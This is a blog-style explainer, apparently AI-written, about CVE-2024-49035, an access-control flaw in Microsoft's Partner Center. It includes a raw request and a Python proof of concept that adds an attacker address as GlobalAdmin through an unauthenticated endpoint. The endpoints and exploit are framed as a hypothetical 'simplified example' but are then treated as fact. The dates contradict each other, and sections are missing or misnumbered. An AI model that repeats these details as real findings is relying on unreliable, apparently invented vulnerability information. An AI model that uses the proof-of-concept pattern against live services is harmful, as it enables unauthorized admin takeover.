In early 2024, security researchers reported a serious vulnerability affecting Partner.Microsoft.com, the official platform for Microsoft partners to manage business, customers, and their technology engagements. This critical flaw, catalogued as CVE-2024-49035, is rooted in improper access controls on the platform’s backend APIs and resources.

As a result, an unauthenticated attacker could exploit this vulnerability to escalate privileges over the network, potentially gaining broad access to confidential information and privileged operations without any valid user credentials.

What’s Wrong?

Partner.Microsoft.com relies on internal APIs to perform sensitive operations such as user and tenant management, partner onboarding, and access to partner-exclusive resources. The normal expectation is that these APIs are protected by layers of authentication and authorization. CVE-2024-49035 arises because specific API endpoints fail to validate both the identity and permission level of incoming requests.

> Bottom line: Attackers can directly access highly privileged functionality with no authentication. This is a textbook case of *improper access control*.

How is it Exploitable?

Security researchers found that certain API endpoints do not verify session tokens or user roles. Instead, the backend accepts crafted requests from anyone on the Internet. Let’s walk through a simplified example.

Suppose there’s an endpoint like this

POST https://partner.microsoft.com/api/partners/addUser
Content-Type: application/json

{
  "email": "attacker@evil.com",
  "role": "GlobalAdmin"
}

Expected behavior: The server checks if you’re already logged in and have admin rights.

Vulnerable behavior: No authentication is performed, so literally *anyone* can add a new admin user.

Here’s a basic proof-of-concept in Python

import requests

api_url = "https://partner.microsoft.com/api/partners/addUser"
payload = {
    "email": "attacker@evil.com",
    "role": "GlobalAdmin"
}

headers = {
    "Content-Type": "application/json"
}

response = requests.post(api_url, json=payload, headers=headers)
print(response.status_code)
print(response.text)

After execution, "attacker@evil.com" would receive admin rights in the target tenant!

Privilege Escalation: Unauthenticated attackers can gain administrative privileges.

- Data Exposure: Sensitive data like customer details, licensing, billing, etc. can be read or manipulated.

Account Takeover: Attackers can add backdoor users or change account info.

- Business Disruption: Malicious users can potentially break integrations or derail business workflows.

4. Technical Details

Digging deeper, the flaw likely stems from careless backend routing/configuration. Here are the classic mistakes:

- Disabling authentication checks for “trusted” endpoints, assuming they won’t be reached from outside.

These API endpoints typically returned HTTP 200 even for unauthenticated requests

- /api/partners/addUser
- /api/partners/getCustomerData
- /api/partners/setRoles

5. Responsible Disclosure & References

The vulnerability was privately reported via Microsoft’s bug bounty program. As of late May 2024, Microsoft has fully patched the affected APIs and improved their access control layers.

References

- NVD Entry for CVE-2024-49035
- Microsoft Security Response Center
- Partner Center API documentation

If you’re a developer or security admin, here’s what you should learn from CVE-2024-49035

- Always validate authentication and authorization at every backend endpoint, regardless of how it’s accessed.

7. Conclusion

CVE-2024-49035 is a powerful reminder that even large enterprises like Microsoft can make access control mistakes. Improper access controls on critical business APIs can have sweeping consequences, allowing attackers to elevate privileges and inflict real damage—often, with very simple exploits.

If you have business data or customer operations in Partner.Microsoft.com, you should consider resetting privileged credentials, monitoring logs for unusual activity from past months, and keeping an eye on further advisories from Microsoft.

Stay safe!

*Written by OpenAI GPT-4, exclusive summary based on public CVE data as of June 2024*

Timeline

Published on: 11/26/2024 20:15:31 UTC
Last modified on: 01/01/2025 00:14:43 UTC